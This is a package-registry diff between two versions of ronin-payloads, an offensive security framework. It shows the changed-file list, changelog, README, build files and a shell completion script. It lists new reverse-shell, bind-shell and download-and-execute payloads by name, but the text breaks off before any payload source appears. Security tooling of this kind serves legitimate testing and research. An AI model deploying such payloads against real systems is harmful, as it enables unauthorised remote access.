ronin-payloads 0.1.6 → 0.2.0.rc1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (169) hide show
  1. checksums.yaml +4 -4
  2. data/.github/workflows/ruby.yml +1 -1
  3. data/.gitignore +1 -0
  4. data/.rubocop.yml +0 -3
  5. data/ChangeLog.md +41 -3
  6. data/Gemfile +6 -4
  7. data/README.md +26 -6
  8. data/Rakefile +10 -0
  9. data/data/completions/ronin-payloads +127 -0
  10. data/data/completions/ronin-payloads.yml +16 -0
  11. data/gemspec.yml +3 -1
  12. data/lib/ronin/payloads/asm_payload.rb +1 -1
  13. data/lib/ronin/payloads/binary_payload.rb +1 -1
  14. data/lib/ronin/payloads/builtin/bin/unix/reverse_shell.c +61 -0
  15. data/lib/ronin/payloads/builtin/bin/unix/reverse_shell.rb +84 -0
  16. data/lib/ronin/payloads/builtin/bin/windows/reverse_shell.c +63 -0
  17. data/lib/ronin/payloads/builtin/bin/windows/reverse_shell.rb +87 -0
  18. data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
  19. data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
  20. data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
  21. data/lib/ronin/payloads/builtin/cmd/netcat/bind_shell.rb +51 -0
  22. data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
  23. data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
  24. data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
  25. data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
  26. data/lib/ronin/payloads/builtin/cmd/ping.rb +52 -0
  27. data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
  28. data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
  29. data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
  30. data/lib/ronin/payloads/builtin/cmd/sleep.rb +49 -0
  31. data/lib/ronin/payloads/builtin/cmd/touch.rb +49 -0
  32. data/lib/ronin/payloads/builtin/cmd/windows/download.rb +70 -0
  33. data/lib/ronin/payloads/builtin/cmd/zsh/reverse_shell.rb +55 -0
  34. data/lib/ronin/payloads/builtin/groovy/reverse_shell.rb +54 -0
  35. data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
  36. data/lib/ronin/payloads/builtin/js/nashorn/reverse_shell.rb +63 -0
  37. data/lib/ronin/payloads/builtin/js/node/reverse_shell.rb +55 -0
  38. data/lib/ronin/payloads/builtin/php/cmd_exec.rb +1 -1
  39. data/lib/ronin/payloads/builtin/php/download_exec.php.erb +96 -0
  40. data/lib/ronin/payloads/builtin/php/download_exec.rb +54 -0
  41. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +2 -3
  42. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +2 -3
  43. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +2 -3
  44. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +2 -3
  45. data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +2 -3
  46. data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +2 -3
  47. data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +2 -3
  48. data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +2 -3
  49. data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +13 -14
  50. data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +2 -3
  51. data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +15 -16
  52. data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +2 -3
  53. data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +2 -3
  54. data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +2 -3
  55. data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +2 -3
  56. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +2 -3
  57. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +11 -12
  58. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +2 -3
  59. data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +2 -3
  60. data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +2 -3
  61. data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +2 -3
  62. data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +1 -1
  63. data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +2 -3
  64. data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +13 -14
  65. data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +21 -22
  66. data/lib/ronin/payloads/builtin/test/cmd.rb +53 -0
  67. data/lib/ronin/payloads/builtin/test/open_redirect.rb +1 -1
  68. data/lib/ronin/payloads/builtin/test/url.rb +53 -0
  69. data/lib/ronin/payloads/builtin/test/xss.rb +1 -1
  70. data/lib/ronin/payloads/c_payload.rb +4 -60
  71. data/lib/ronin/payloads/cli/command.rb +1 -1
  72. data/lib/ronin/payloads/cli/commands/build.rb +3 -3
  73. data/lib/ronin/payloads/cli/commands/completion.rb +64 -0
  74. data/lib/ronin/payloads/cli/commands/encode.rb +1 -1
  75. data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
  76. data/lib/ronin/payloads/cli/commands/encoders.rb +1 -1
  77. data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
  78. data/lib/ronin/payloads/cli/commands/launch.rb +1 -1
  79. data/lib/ronin/payloads/cli/commands/list.rb +1 -1
  80. data/lib/ronin/payloads/cli/commands/show.rb +44 -1
  81. data/lib/ronin/payloads/cli/encoder_methods.rb +1 -1
  82. data/lib/ronin/payloads/cli/format_option.rb +1 -1
  83. data/lib/ronin/payloads/cli/payload_command.rb +1 -1
  84. data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
  85. data/lib/ronin/payloads/cli/printing.rb +5 -2
  86. data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
  87. data/lib/ronin/payloads/cli.rb +1 -1
  88. data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
  89. data/lib/ronin/payloads/command_payload.rb +1 -1
  90. data/lib/ronin/payloads/encoders/builtin/html/encode.rb +1 -1
  91. data/lib/ronin/payloads/encoders/builtin/js/encode.rb +1 -1
  92. data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +1 -1
  93. data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +1 -1
  94. data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +1 -1
  95. data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +1 -1
  96. data/lib/ronin/payloads/encoders/encoder.rb +1 -1
  97. data/lib/ronin/payloads/encoders/exceptions.rb +1 -1
  98. data/lib/ronin/payloads/encoders/html_encoder.rb +1 -1
  99. data/lib/ronin/payloads/encoders/javascript_encoder.rb +1 -1
  100. data/lib/ronin/payloads/encoders/pipeline.rb +1 -1
  101. data/lib/ronin/payloads/encoders/powershell_encoder.rb +1 -1
  102. data/lib/ronin/payloads/encoders/registry.rb +1 -1
  103. data/lib/ronin/payloads/encoders/shell_encoder.rb +1 -1
  104. data/lib/ronin/payloads/encoders/sql_encoder.rb +1 -1
  105. data/lib/ronin/payloads/encoders/xml_encoder.rb +1 -1
  106. data/lib/ronin/payloads/encoders.rb +1 -1
  107. data/lib/ronin/payloads/exceptions.rb +1 -1
  108. data/lib/ronin/payloads/go_payload.rb +6 -2
  109. data/lib/ronin/payloads/groovy_payload.rb +49 -0
  110. data/lib/ronin/payloads/html_payload.rb +1 -1
  111. data/lib/ronin/payloads/java_payload.rb +6 -2
  112. data/lib/ronin/payloads/javascript_payload.rb +1 -1
  113. data/lib/ronin/payloads/jsp_payload.rb +1 -1
  114. data/lib/ronin/payloads/metadata/arch.rb +1 -1
  115. data/lib/ronin/payloads/metadata/os.rb +1 -1
  116. data/lib/ronin/payloads/mixins/binary.rb +1 -1
  117. data/lib/ronin/payloads/mixins/bind_shell.rb +1 -1
  118. data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
  119. data/lib/ronin/payloads/mixins/c_compiler.rb +250 -0
  120. data/lib/ronin/payloads/mixins/erb.rb +1 -1
  121. data/lib/ronin/payloads/mixins/network.rb +1 -1
  122. data/lib/ronin/payloads/mixins/post_ex.rb +1 -1
  123. data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
  124. data/lib/ronin/payloads/mixins/reverse_shell.rb +3 -1
  125. data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
  126. data/lib/ronin/payloads/mixins/typescript.rb +6 -2
  127. data/lib/ronin/payloads/nashorn_payload.rb +51 -0
  128. data/lib/ronin/payloads/node_js_payload.rb +1 -1
  129. data/lib/ronin/payloads/payload.rb +1 -1
  130. data/lib/ronin/payloads/php_payload.rb +1 -1
  131. data/lib/ronin/payloads/powershell_payload.rb +1 -1
  132. data/lib/ronin/payloads/python_payload.rb +1 -1
  133. data/lib/ronin/payloads/registry.rb +1 -1
  134. data/lib/ronin/payloads/root.rb +1 -1
  135. data/lib/ronin/payloads/ruby_payload.rb +1 -1
  136. data/lib/ronin/payloads/rust_payload.rb +6 -2
  137. data/lib/ronin/payloads/shell_payload.rb +1 -1
  138. data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
  139. data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
  140. data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
  141. data/lib/ronin/payloads/shellcode_payload.rb +1 -1
  142. data/lib/ronin/payloads/sql_payload.rb +1 -1
  143. data/lib/ronin/payloads/url_payload.rb +1 -1
  144. data/lib/ronin/payloads/version.rb +2 -2
  145. data/lib/ronin/payloads/xml_payload.rb +1 -1
  146. data/lib/ronin/payloads.rb +1 -1
  147. data/man/ronin-payloads-build.1 +16 -30
  148. data/man/ronin-payloads-build.1.md +15 -11
  149. data/man/ronin-payloads-completion.1 +76 -0
  150. data/man/ronin-payloads-completion.1.md +78 -0
  151. data/man/ronin-payloads-encode.1 +12 -24
  152. data/man/ronin-payloads-encode.1.md +11 -7
  153. data/man/ronin-payloads-encoder.1 +9 -18
  154. data/man/ronin-payloads-encoder.1.md +8 -4
  155. data/man/ronin-payloads-encoders.1 +8 -16
  156. data/man/ronin-payloads-encoders.1.md +7 -3
  157. data/man/ronin-payloads-irb.1 +8 -15
  158. data/man/ronin-payloads-irb.1.md +6 -2
  159. data/man/ronin-payloads-launch.1 +11 -20
  160. data/man/ronin-payloads-launch.1.md +9 -5
  161. data/man/ronin-payloads-list.1 +9 -16
  162. data/man/ronin-payloads-list.1.md +7 -3
  163. data/man/ronin-payloads-new.1.md +13 -9
  164. data/man/ronin-payloads-show.1 +11 -20
  165. data/man/ronin-payloads-show.1.md +9 -5
  166. data/man/ronin-payloads.1 +18 -26
  167. data/man/ronin-payloads.1.md +17 -10
  168. data/scripts/setup +58 -0
  169. metadata +30 -4
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 97fb8be02023f3bdaf5ef16711bf1192a574ee10b00a46912c964b01e8577012
4
- data.tar.gz: a3eb94423e154cd03df538b3883f58de6c166dc7ba7a8f6da077f192f9c66b44
3
+ metadata.gz: ed60fe626277a5add8ea5131745dffac0eab018b16f09fd75054f23c2161394c
4
+ data.tar.gz: 9202abaacbc4329e12b5bde844cd44f295e9baab499bba7a92727e71df95b83f
5
5
  SHA512:
6
- metadata.gz: c4d865c10c583da8a38aea5bb79f39f1165d15dd54e09594a2a557a4880058d7c6bd6f5411f382f9a49386cd2fc36ada45868a7001135ebc742613c9d732a359
7
- data.tar.gz: 795417f0c54ae31283be366941b1f703f67fc3d7cfae9cd13f634b89323b2119e0389cc433638514296327a93f4efdfdad5d63c6458eb46fdb3a5be8f4a192a6
6
+ metadata.gz: b4971fbf4288c208a8d3c88b502dba08701558047b6d9f2e896adae5a0ad98d20ad26ea22f89910b6f334ffb0f7fbcbbdcef1a1158f149a63f9c3ed28974816f
7
+ data.tar.gz: e4d76fb7a3d91d9d32c8bb9ea7ee03006c2f6378677376ad0ad4c239a1a3eec3f764fbeb3a968442cdbe55512afc66a69d16fdd3d0f0930e6c76fd525cc330e1
@@ -26,7 +26,7 @@ jobs:
26
26
  - name: Install dependencies
27
27
  run: |
28
28
  sudo apt update -y && \
29
- sudo apt install -y --no-install-recommends --no-install-suggests yasm default-jdk
29
+ sudo apt install -y --no-install-recommends --no-install-suggests yasm gcc-mingw-w64 default-jdk
30
30
  - name: Install dependencies
31
31
  run: bundle install --jobs 4 --retry 3
32
32
  - name: Run tests
data/.gitignore CHANGED
@@ -1,4 +1,5 @@
1
1
  /coverage
2
+ /data/completions/ronin-payloads
2
3
  /doc
3
4
  /pkg
4
5
  /man/*.[1-9]
data/.rubocop.yml CHANGED
@@ -40,6 +40,3 @@ Style/RedundantLineContinuation:
40
40
  Layout/LineContinuationSpacing:
41
41
  Exclude:
42
42
  - 'lib/ronin/payloads/builtin/shellcode/**/*.rb'
43
- Style/StringConcatenation:
44
- Exclude:
45
- - 'lib/ronin/payloads/builtin/shellcode/**/*.rb'
data/ChangeLog.md CHANGED
@@ -1,9 +1,47 @@
1
- ### 0.1.6 / 2024-07-01
1
+ ### 0.2.0 / 2024-XX-XX
2
+
3
+ * Added the {Ronin::Payloads::GroovyPayload} payload class.
4
+ * Added the {Ronin::Payloads::NashornPayload} payload class.
5
+ * Added the {Ronin::Payloads::Mixins::CCompiler} mixin module.
6
+ * Added support for using cross-compilers to
7
+ {Ronin::Payloads::Mixins::CCompiler}.
8
+ * Added the `libs:` keyword argument to
9
+ {Ronin::Payloads::Mixins::CCompiler#compile_c}.
10
+ * Alias `compile` to {Ronin::Payloads::Mixins::TypeScript#compile_ts compile_ts}
11
+ in {Ronin::Payloads::Mixins::TypeScript}.
12
+ * Alias `compile` to {Ronin::Payloads::JavaPayload#compile_java compile_java}
13
+ in {Ronin::Payloads::JavaPayload}
14
+ * Alias `compile` to {Ronin::Payloads::Mixins::CCompiler#compile_c}.
15
+ * Alias `compile` to {Ronin::Payloads::GoPayload#compile_go compile_go} in
16
+ {Ronin::Payloads::GoPayload#compile_go}.
17
+ * Alias `compile` to {Ronin::Payloads::RustPayload#compile_rust compile_rust} in
18
+ {Ronin::Payloads::RustPayload#compile_rust}.
19
+ * Default the `host` param to `0.0.0.0` and the `port` param to `4444` in
20
+ {Ronin::Payloads::Mixins::ReverseShell}.
2
21
 
3
22
  #### Payloads
4
23
 
5
- * Fixed `incompatible character encodings: UTF-8 and ASCII-8BIT` exceptions when
6
- building shellcode payloads with certain IP addresses or port numbers.
24
+ * Added the `php/download_exec` payload.
25
+ * Added the `cmd/netcat/bindshell` payload.
26
+ * Added the `cmd/ping` payload.
27
+ * Added the `cmd/touch` payload.
28
+ * Added the `test/cmd` payload.
29
+ * Added the `test/url` payload.
30
+ * Added the `groovy/reverse_shell` payload.
31
+ * Added the `cmd/windows/download` payload.
32
+ * Added the `cmd/zsh/reverse_shell` payload.
33
+ * Added the `bin/windows/reverse_shell` payload.
34
+ * Added the `bin/unix/reverse_shell` payload.
35
+ * Added the `js/nashorn/reverse_shell` payload.
36
+ * Added the `js/node/reverse_shell` payload.
37
+
38
+ #### CLI
39
+
40
+ * Added the `ronin-payloads completion` command to install shell completion
41
+ files for all `ronin-payloads` commands for Bash and Zsh shells.
42
+ * The `ronin-payloads show` command can now display an example
43
+ `ronin-payloads build` command for the given payload.
44
+ * Renamed the `-e` option flag to `-E` in `ronin-payloads build`.
7
45
 
8
46
  ### 0.1.5 / 2024-06-19
9
47
 
data/Gemfile CHANGED
@@ -8,7 +8,7 @@ gem 'jruby-openssl', '~> 0.7', platforms: :jruby
8
8
  # gem 'fake_io', '~> 0.1', github: 'postmodern/fake_io.rb',
9
9
  # branch: 'main'
10
10
 
11
- # gem 'command_kit', '~> 0.4', github: 'postmodern/command_kit.rb',
11
+ # gem 'command_kit', '~> 0.5', github: 'postmodern/command_kit.rb',
12
12
  # branch: 'main'
13
13
 
14
14
  # Ronin dependencies
@@ -21,8 +21,8 @@ gem 'jruby-openssl', '~> 0.7', platforms: :jruby
21
21
  # gem 'ronin-post_ex', '~> 0.1', github: 'ronin-rb/ronin-post_ex',
22
22
  # branch: 'main'
23
23
 
24
- # gem 'ronin-core', '~> 0.1', github: 'ronin-rb/ronin-core',
25
- # branch: 'main'
24
+ # gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core',
25
+ # branch: 'main'
26
26
 
27
27
  # gem 'ronin-repos', '~> 0.1', github: 'ronin-rb/ronin-repos',
28
28
  # branch: 'main'
@@ -35,7 +35,7 @@ group :development do
35
35
  gem 'simplecov', '~> 0.20'
36
36
 
37
37
  gem 'kramdown', '~> 2.0'
38
- gem 'kramdown-man', '~> 0.1'
38
+ gem 'kramdown-man', '~> 1.0'
39
39
 
40
40
  gem 'redcarpet', platform: :mri
41
41
  gem 'yard', '~> 0.9'
@@ -46,4 +46,6 @@ group :development do
46
46
  gem 'stackprof', require: false, platform: :mri
47
47
  gem 'rubocop', require: false, platform: :mri
48
48
  gem 'rubocop-ronin', require: false, platform: :mri
49
+
50
+ gem 'command_kit-completion', '~> 0.1', require: false
49
51
  end
data/README.md CHANGED
@@ -29,8 +29,9 @@ research and development.
29
29
  possible.
30
30
  * Supports defining Payloads as plain old Ruby classes.
31
31
  * Provides base classes for a variety of languages and payload types
32
- (ASM, Shellcode, C, Go, Rust, Java, JSP, PHP, Python, Ruby, NodeJS, Shell,
33
- PowerShell, SQL, XML, HTML, URL).
32
+ (ASM, Shellcode, C, Go, Rust, Java, Groovy, JSP, PHP, Python, Ruby, NodeJS,
33
+ Nashorn, Shell, PowerShell, SQL, XML, HTML, URL).
34
+ * Supports cross compiling C payloads to different architectures and OSes.
34
35
  * Provides built-in common payloads:
35
36
  * Command-line reverse shells:
36
37
  * Awk
@@ -43,8 +44,16 @@ research and development.
43
44
  * PowerShell
44
45
  * Python
45
46
  * Ruby
47
+ * Zsh
46
48
  * Java
47
49
  * Reverse shell
50
+ * JavaScript
51
+ * Node.js
52
+ * Reverse shell
53
+ * Nashorn
54
+ * Reverse shell
55
+ * Groovy
56
+ * Reverse shell
48
57
  * PHP
49
58
  * Command exec.
50
59
  * Shellcode:
@@ -63,6 +72,10 @@ research and development.
63
72
  * macOS (x86-64)
64
73
  * FreeBSD (x86)
65
74
  * NetBSD (x86)
75
+ * C payloads:
76
+ * reverse shell:
77
+ * Windows (x86-64 and i686)
78
+ * UNIX (Linux, FreeBSD, OpenBSD, NetBSD, macOS)
66
79
  * Supports adding additional encoders to payloads for further obfuscation.
67
80
  * Integrates with the [Ronin Post-Exploitation][ronin-post_ex] library.
68
81
  * Provides a simple CLI for building, encoding, launching, and generating new
@@ -92,6 +105,7 @@ Arguments:
92
105
 
93
106
  Commands:
94
107
  build
108
+ completion
95
109
  encode
96
110
  encoder
97
111
  encoders
@@ -107,6 +121,8 @@ List available payloads:
107
121
 
108
122
  ```shell
109
123
  $ ronin-payloads list
124
+ bin/unix/reverse_shell
125
+ bin/windows/reverse_shell
110
126
  cmd/awk/reverse_shell
111
127
  cmd/bash/reverse_shell
112
128
  cmd/lua/reverse_shell
@@ -117,7 +133,12 @@ $ ronin-payloads list
117
133
  cmd/powershell/reverse_shell
118
134
  cmd/python/reverse_shell
119
135
  cmd/ruby/reverse_shell
136
+ cmd/windows/download
137
+ cmd/zsh/reverse_shell
138
+ groovy/reverse_shell
120
139
  java/reverse_shell
140
+ js/nashorn/reverse_shell
141
+ js/node/reverse_shell
121
142
  php/cmd_exec
122
143
  php/download_exec
123
144
  shellcode/freebsd/x86/bind_shell
@@ -213,7 +234,6 @@ $ git push
213
234
  Define a `/bin/sh` shellcode payload:
214
235
 
215
236
  ```ruby
216
- # encoding: ASCII-8BIT
217
237
  require 'ronin/payloads/shellcode_payload'
218
238
 
219
239
  module Ronin
@@ -318,7 +338,7 @@ end
318
338
  * [ronin-support] ~> 1.0
319
339
  * [ronin-code-asm] ~> 1.0
320
340
  * [ronin-post_ex] ~> 0.1
321
- * [ronin-core] ~> 0.1
341
+ * [ronin-core] ~> 0.2
322
342
  * [ronin-repos] ~> 0.1
323
343
 
324
344
  ## Install
@@ -344,7 +364,7 @@ gem.add_dependency 'ronin-payloads', '~> 0.1'
344
364
  1. [Fork It!](https://github.com/ronin-rb/ronin-payloads/fork)
345
365
  2. Clone It!
346
366
  3. `cd ronin-payloads/`
347
- 4. `bundle install`
367
+ 4. `./scripts/setup`
348
368
  5. `git checkout -b my_feature`
349
369
  6. Code It!
350
370
  7. `bundle exec rake spec`
@@ -361,7 +381,7 @@ malicious software (malware) or malicious in nature.
361
381
 
362
382
  ## License
363
383
 
364
- Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
384
+ Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
365
385
 
366
386
  ronin-payloads is free software: you can redistribute it and/or modify
367
387
  it under the terms of the GNU Lesser General Public License as published
data/Rakefile CHANGED
@@ -32,3 +32,13 @@ task :docs => :yard
32
32
 
33
33
  require 'kramdown/man/task'
34
34
  Kramdown::Man::Task.new
35
+
36
+ require 'command_kit/completion/task'
37
+ CommandKit::Completion::Task.new(
38
+ class_file: 'ronin/payloads/cli',
39
+ class_name: 'Ronin::Payloads::CLI',
40
+ input_file: 'data/completions/ronin-payloads.yml',
41
+ output_file: 'data/completions/ronin-payloads'
42
+ )
43
+
44
+ task :setup => %w[man command_kit:completion]
@@ -0,0 +1,127 @@
1
+ # ronin-payloads completion -*- shell-script -*-
2
+
3
+ # This bash completions script was generated by
4
+ # completely (https://github.com/dannyben/completely)
5
+ # Modifying it manually is not recommended
6
+
7
+ _ronin-payloads_completions_filter() {
8
+ local words="$1"
9
+ local cur=${COMP_WORDS[COMP_CWORD]}
10
+ local result=()
11
+
12
+ if [[ "${cur:0:1}" == "-" ]]; then
13
+ echo "$words"
14
+
15
+ else
16
+ for word in $words; do
17
+ [[ "${word:0:1}" != "-" ]] && result+=("$word")
18
+ done
19
+
20
+ echo "${result[*]}"
21
+
22
+ fi
23
+ }
24
+
25
+ _ronin-payloads_completions() {
26
+ local cur=${COMP_WORDS[COMP_CWORD]}
27
+ local compwords=("${COMP_WORDS[@]:1:$COMP_CWORD-1}")
28
+ local compline="${compwords[*]}"
29
+
30
+ case "$compline" in
31
+ 'encode'*'--encoder')
32
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur" )
33
+ ;;
34
+
35
+ 'build'*'--encoder')
36
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur" )
37
+ ;;
38
+
39
+ 'build'*'--output')
40
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
41
+ ;;
42
+
43
+ 'encoder'*'--file')
44
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
45
+ ;;
46
+
47
+ 'launch'*'--file')
48
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
49
+ ;;
50
+
51
+ 'build'*'--file')
52
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
53
+ ;;
54
+
55
+ 'show'*'--file')
56
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
57
+ ;;
58
+
59
+ 'completion'*)
60
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--print --install --uninstall")" -- "$cur" )
61
+ ;;
62
+
63
+ 'encoder'*'-f')
64
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
65
+ ;;
66
+
67
+ 'launch'*'-f')
68
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
69
+ ;;
70
+
71
+ 'encode'*'-E')
72
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur" )
73
+ ;;
74
+
75
+ 'build'*'-f')
76
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
77
+ ;;
78
+
79
+ 'build'*'-o')
80
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
81
+ ;;
82
+
83
+ 'build'*'-E')
84
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads encoders)")" -- "$cur" )
85
+ ;;
86
+
87
+ 'encoder'*)
88
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--verbose -v --file -f $(ronin-payloads encoders)")" -- "$cur" )
89
+ ;;
90
+
91
+ 'show'*'-f')
92
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -A file -- "$cur" )
93
+ ;;
94
+
95
+ 'encode'*)
96
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--format -F --encoder -E --param -p --string -s")" -- "$cur" )
97
+ ;;
98
+
99
+ 'launch'*)
100
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--file -f --param -p --debug -D $(ronin-payloads list)")" -- "$cur" )
101
+ ;;
102
+
103
+ 'build'*)
104
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--file -f --format -F --param -p --output -o --encoder -E --encoder-param --debug -D $(ronin-payloads list)")" -- "$cur" )
105
+ ;;
106
+
107
+ 'show'*)
108
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--file -f --verbose -v $(ronin-payloads list)")" -- "$cur" )
109
+ ;;
110
+
111
+ 'info'*)
112
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "$(ronin-payloads list)")" -- "$cur" )
113
+ ;;
114
+
115
+ 'new'*)
116
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--type -t --author -a --author-email -e --summary -S --description -D --reference -R")" -- "$cur" )
117
+ ;;
118
+
119
+ *)
120
+ while read -r; do COMPREPLY+=( "$REPLY" ); done < <( compgen -W "$(_ronin-payloads_completions_filter "--version -V help build completion encode encoder encoders irb launch list new show ls info")" -- "$cur" )
121
+ ;;
122
+
123
+ esac
124
+ } &&
125
+ complete -F _ronin-payloads_completions ronin-payloads
126
+
127
+ # ex: filetype=sh
@@ -0,0 +1,16 @@
1
+ ---
2
+ ronin-payloads encoder:
3
+ - $(ronin-payloads encoders)
4
+ ronin-payloads encode*--encoder: &encode_encoder
5
+ - $(ronin-payloads encoders)
6
+ ronin-payloads encode*-E: *encode_encoder
7
+ ronin-payloads build*--encoder: &build_encoder
8
+ - $(ronin-payloads encoders)
9
+ ronin-payloads build*-E: *build_encoder
10
+ ronin-payloads show: &show
11
+ - $(ronin-payloads list)
12
+ ronin-payloads info: *show
13
+ ronin-payloads build:
14
+ - $(ronin-payloads list)
15
+ ronin-payloads launch:
16
+ - $(ronin-payloads list)
data/gemspec.yml CHANGED
@@ -22,8 +22,10 @@ metadata:
22
22
  rubygems_mfa_required: 'true'
23
23
 
24
24
  generated_files:
25
+ - data/completions/ronin-payloads
25
26
  - man/ronin-payloads.1
26
27
  - man/ronin-payloads-build.1
28
+ - man/ronin-payloads-completion.1
27
29
  - man/ronin-payloads-encode.1
28
30
  - man/ronin-payloads-encoder.1
29
31
  - man/ronin-payloads-encoders.1
@@ -39,7 +41,7 @@ dependencies:
39
41
  ronin-support: ~> 1.0
40
42
  ronin-code-asm: ~> 1.0
41
43
  ronin-post_ex: ~> 0.1
42
- ronin-core: ~> 0.1
44
+ ronin-core: ~> 0.2.0.rc1
43
45
  ronin-repos: ~> 0.1
44
46
 
45
47
  development_dependencies:
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -0,0 +1,61 @@
1
